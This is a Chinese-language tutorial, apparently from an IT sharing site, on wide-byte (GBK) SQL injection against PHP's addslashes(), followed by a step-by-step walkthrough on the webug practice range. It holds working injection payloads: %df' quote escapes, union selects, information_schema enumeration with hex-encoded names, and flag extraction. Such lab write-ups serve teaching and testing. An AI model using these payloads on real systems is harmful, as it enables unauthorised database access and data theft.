大家好,欢迎来到IT知识分享网。
宽字节注入
1. 前置知识
- 宽字节注入应用背景:
- 在php中存在一个addslashes()函数。
- 该函数的作用:
- 在预定义字符(预定义字符包括:单引号、双引号、反斜杠、NULL)之前添加反斜杠进行转义,并返回处理完毕后的字符串。
- 所谓的转义是指:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了(即:预定义字符就仅仅是一个普通的字符串了)
- 该函数经常用于处理由 GET、POST 和 COOKIE 三种方式接收的数据,以便规范用户的输入,预防sql注入。
- 宽字节注入原理:
- 在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把(%5C)吃掉,举个例子。
http://www.nicai.com/index.php?id=1
- 当提交 ?id=1′ and 1=1%23 时,MySQL运行的SQL语句为
- select * from user where id =’1\’ and 1=1#’
- 很明显这是没有注入成功的,而当我们提交 id=1%df’ and 1=1%23 时,MySQL运行的SQL语句就变为了
- select * from user where id =’1運’ and 1=1#’
- 逃逸成功!!!
- 我们这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以%DF和后面的\也就是%5c中变成了一个汉字“運”,从而使单引号逃逸了出来。
2. 注入流程
- 当我们使用宽字节把转义绕过之后,剩下的操作其实就和联合注入相同了
- 判断注入点
- 判断当前注入点所查询的字段数
- 确定显示位
- 查询当前数据库的版本、当前登录的用户、当前数据库名
- 查询mysql中所有的数据库名
- 查询数据库中所有的表名
- 查寻表中所有的字段名
- 查询flag
3. 靶场实战
- 这里所应用的靶场为:webug
3.1 判断注入点
- payload:
?id=1' ?id=1" ?id=1 and 1=1 ?id=1 and 1=2
- 以上payload在发送之后,我们发现页面返回的信息都是相同的,没有发生变化。此时我们就应该想到,很有可能是我们的单(双)引号被转义了,那么此时我们就应该进行逃逸
- 以上payload在发送之后,我们发现页面返回的信息都是相同的,没有发生变化。此时我们就应该想到,很有可能是我们的单(双)引号被转义了,那么此时我们就应该进行逃逸
- payload:
?id=1%df' ?id=1%df' %23
- 由下图的返回结果可以看出,我们的代码被成功执行了,即当前页面存在注入点,且为字符型注入
- 由下图的返回结果可以看出,我们的代码被成功执行了,即当前页面存在注入点,且为字符型注入
3.2 判断当前注入点所查询的字段数
- payload:
?id=1%df' order by 2 %23 ?id=1%df' order by 3 %23
- 由页面返回结果可知,当前注入点所查询的字段数为:2
- 由页面返回结果可知,当前注入点所查询的字段数为:2
3.3 确定显示位
- payload:
?id=1%df' and 1=2 union select 1,2 %23
- 由页面返回结果可知,显示位为:2号
- 由页面返回结果可知,显示位为:2号
3.4 查询当前数据库的版本、当前登录的用户、当前数据库名
- payload:
?id=1%df' and 1=2 union select 1,concat_ws(0,database(),user(),version()) %23
- 由页面返回结果可知:
- 当前数据库名为:webug_width_byte;
- 当前登录的用户名为;root@localhost;
- 当前数据库的版本为:5.5.53
- 由页面返回结果可知:
3.5 查询mysql中所有的数据库
- payload:
?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) %23
- 由页面返回结果可知,名为 webug 的数据库正是我们所需要的。
- 之所以会存在这个步骤是因为,webug靶场的flag是存储在 webug数据库中的,而当前数据为webug_width_byte,所以我们还要查询mysql中的其他数据库。
- 由页面返回结果可知,名为 webug 的数据库正是我们所需要的。
3.6 查找数据库中所有存在的表
- payload:
?id=1%df' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7765627567) %23
- 上面payload中的 0x7765627567 是字符串 webug 的十六进制形式(之所以这样写是因为单引号会被转义)。
- 有页面返回结果可知,flag表正是我们所需要的。
3.7 查找表中所有的字段名
- payload:
?id=1%df' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167) %23
- 上面payload中的 0x666C6167 是字符串 flag 的十六进制形式
- 由页面返回结果可知,存在flag字段
3.8 查询flag
- payload:
?id=1%df' and 1=2 union select 1,flag from webug.flag %23
- 由于当前注入点所查询的数据库为 webug_width_byte,而我们真正所要查询的flag表却在webug数据库中,所以在我们进行select查询时,from关键字后面的表名要指定其所在的数据库名:数据库.表名 -> webug.flag
- 由页面返回结果可知,flag:dfafdasfafdsadfa
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/30236.html